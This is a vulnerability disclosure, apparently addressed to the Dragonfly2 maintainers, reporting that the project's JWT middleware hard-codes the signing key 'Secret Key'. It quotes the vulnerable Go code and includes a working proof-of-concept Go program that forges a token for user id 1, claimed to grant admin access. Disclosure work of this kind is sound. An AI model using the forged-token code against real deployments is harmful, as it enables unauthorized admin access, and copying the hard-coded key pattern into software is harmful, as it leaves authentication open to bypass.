Dragonfly2 has hard coded cyptographic key

Summary

Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.

Details

Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass

authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{
        Realm:       "Dragonfly",
        Key:         []byte("Secret Key"),
        Timeout:     2 * 24 * time.Hour,
        MaxRefresh:  2 * 24 * time.Hour,
        IdentityKey: identityKey,

        IdentityHandler: func(c *gin.Context) any {
            claims := jwt.ExtractClaims(c)

            id, ok := claims[identityKey]
            if !ok {
                c.JSON(http.StatusUnauthorized, gin.H{
                    "message": "Unavailable token: require user id",
                })
                c.Abort()
                return nil
            }

            c.Set("id", id)
            return id
        })

PoC

Use code below to generate a jwt token

package main

import (
    "errors"
    "fmt"
    "time"

    "github.com/golang-jwt/jwt/v4"
)

func (stc *DragonflyTokenClaims) Valid() error {
    // Verify expiry.
    if stc.ExpiresAt <= time.Now().UTC().Unix() {
        vErr := new(jwt.ValidationError)
        vErr.Inner = errors.New("Token is expired")
        vErr.Errors |= jwt.ValidationErrorExpired
        return vErr
    }
    return nil
}

type DragonflyTokenClaims struct {
    Id        int32 `json:"id,omitempty"`
    ExpiresAt int64 `json:"exp,omitempty"`
    Issue     int64 `json:"orig_iat,omitempty"`
}

func main() {
    signingKey := "Secret Key"
    token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
        ExpiresAt: time.Now().Add(time.Hour).Unix(),
        Id:        1,
        Issue:     time.Now().Unix(),
    })
    signedToken, _ := token.SignedString([]byte(signingKey))
    fmt.Println(signedToken)
}

And send request with JWT above , you can still get data without restriction.
<img width="1241" alt="image" src="https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png">

Impact

An attacker can perform any action as a user with admin privileges.